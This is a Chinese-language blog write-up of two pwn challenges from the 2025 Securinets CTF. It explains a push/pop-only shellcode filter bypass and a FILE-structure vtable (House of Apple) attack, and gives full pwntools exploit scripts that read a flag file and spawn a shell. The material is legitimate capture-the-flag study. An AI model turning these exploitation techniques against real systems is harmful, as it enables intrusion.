2025 Securinets CTF pwn wp

出题人你还好吗?我不好:)

PushPullPop

Push Pop Shellcode

只能有push和pop的shellcode,且push和pop的参数只能是寄存器

非预期

可以用无效字节码(如0x60)进行截断,这样后面的字节码就不会检查了

1
2
3
4
5
6
7
8
for insn in md.disasm(code, 0):
name = insn.insn_name()
if name!="pop" and name!="push" :
if name=="int3" :
continue
return False
if insn.operands[0].type!=CS_OP_REG:
return False

exp忘存了……🤡

可以把栈迁到rwx上,设rax为一个合法地址,然后push一个0(add [rax], al)把无效字节码改了就行

预期

不能截断了,鉴于不能push立即数,想造syscall只有利用内存里已有的数据

0x50f不是个好找的数,就算有想靠栈迁移+pop到达也很困难,而且内存内容是个玄学:(

后来考虑在可写段上找能当指令执行的数据(这样可以push xxx; pop rsp栈迁过去再迁回来),最后考虑指令add [rax], dl0x1000是个更常见的数据,栈上稳定有一个

且栈上的搜索比较方便,可以通过rbp链快速跳跃

然后用0x1000改字节码写一个0x50f出来

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
import base64

p=remote('pwn-14caf623.p1.securinets.tn',9090)
#p=remote('127.0.0.1',5000)
pl=asm('''
pop r15;
pop r15;
pop rsp;
pop rsp;
pop rsp;
pop rsp;
pop rsp;
pop rsp;
pop rsp;
pop rsp;
pop rsp;
pop rsp;
pop rsp;
''')
pl+=asm('pop rdx')*0x11
pl+=asm('pop rbx')*3
pl+=asm('pop rcx')*2
pl+=asm('pop r15; push rax;')
pl+=asm('push rsp; push rsp; pop r14; pop r13;')

pl+=asm('push r13; pop rax; pop r15; pop r15; push r11; pop rsp;')

# padding 1
pl+=asm('pop r15')*0x30

pl+=asm('pushw %cx')*0xf
pl+=asm('popw %r15w')*0xf
pl+=asm('pop r15')
pl+=asm('popw %r15w')
pl+=asm('pushw %cx')
pl+=asm('popw %r15w')
pl+=asm('pop r15')
pl+=asm('popw %r15w')*5
pl+=asm('pushw %cx')*5

# padding 2
pl+=asm('pop r15')*60

pl+=asm('push r14; pop rax; pop rsi; pop r15; pop r15;')
pl+=asm('pop r15') # pad
pl+=asm('push rax; pop rsp; pop rax; pop r15;')+asm('pop rsi')*3
pl+=asm('pop r15')*5 # pad

pl+=asm('''
push r13;
pop rsp;
pop r10;
push rdi;
pop rax;
push r11;
pop rsi;
push rcx;
pop rdx;
push r11;
pop rsp;
''')
pl+=asm('pop r15')*0x4a
pl+=asm('push r10')
pl+=asm('pop r15')*2
pl+=asm('push r13; pop rsp;')
pl+=asm('pop r15')*0x10
print(len(pl))
sc=base64.b64encode(pl)
pause()
p.sendlineafter(b'Shellcode : ',sc)
pause()

shellcode=b'\x90'*0x24a+asm(shellcraft.cat('/app/flag.txt'))
p.send(shellcode)
p.interactive()

vtable

闲的没事(mo yu🐟)摸了一下这道题

思路

给一个stdout地址,能改stdout但只能改到vtable之前

通过_chain造一个错位(这里选择stdout-0x10),就能改vtable了

因为这样改不到_flags,所以打apple调gets进行一波输入,再打一波apple执行system(“/bin/sh”)

Exp

不知道为什么本地和docker偏移不一样,懒得找发生什么了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.os='linux'


p=remote('127.0.0.1', 5000)
#p=process('./main')
p.recvuntil(b'0x')
libcbase = int(p.recvline(), 16)-0x2115c0 #0x1e85c0
pl = [
0, 0, # _IO_read_end / base
0, # _IO_write_base
0xdeadbeef, 0, # _IO_write_ptr / end
0, 0xdeadbeef, # _IO_buf_base / end
1, 0, 0, # _IO_save_base / _IO_backup_base / _IO_save_end
0, # _markers
0, # _chain
0,
libcbase+0x2115c0-0x10, # stdout->_chain
1,
libcbase+0x2127b0, # _lock
0, libcbase+0x2127c0,
libcbase+0x211598, # _wide_data
0, libcbase+0x2127c0, libcbase+0x8ce80,
0xffffffff, # _mode
libcbase+0x211600, 0,
libcbase+0x20f1c8, # _vtable
0,
]

#gdb.attach(p)
pause()
p.send(flat(pl, word_size=64))

pl=b''
pl+=b' sh\x00\x00\x00\x00'
pl+=p64(libcbase+0x210964)*2 # _IO_read_ptr / end
pl+=p64(libcbase+0x210963)*5 # _IO_read_base / _IO_write_base / ptr /end
pl+=p64(libcbase+0x210964) # _IO_buf_base
pl+=p64(libcbase+0x210963) # _IO_buf_end
pl+=p64(0)*3
pl+=p64(libcbase+0x2115c0+0xd8) # _chain
pl+=p64(0)
pl+=p64(0xffffffffffffffff)
pl+=p64(0x0)
pl+=p64(libcbase+0x2127b0) # _lock
pl+=p64(0xffffffffffffffff)
pl+=p64(libcbase+0x2127a0)
pl+=p64(libcbase+0x2109c0) # _wide_data
pl+=p64(0)*3
pl+=p64(0xffffffff) # _mode
pl+=p64(0)*2
pl+=p64(libcbase+0x20f1c8) # _vtable

pl+=p64(0)
pl+=b' sh\x00\x00\x00\x00'
pl+=p64(0)*4+p64(1)
pl+=p64(0)*11
pl+=p64(libcbase+0x2127c0)
pl+=p64(0)*2
pl+=p64(libcbase+0x2115b0+0xe8)
pl+=p64(0)*3
pl+=p64(0xffffffff)
pl+=p64(0)*2
pl+=p64(libcbase+0x20f1c8)
pl+=p64(libcbase+0x211780-0x68)
pl+=p64(libcbase+0x5c110)

p.sendline(pl)
p.interactive()

2025 Securinets CTF pwn wp
http://akaieurus.github.io/2025/10/06/sec2025pwn/
作者
Eurus
发布于
2025年10月6日
许可协议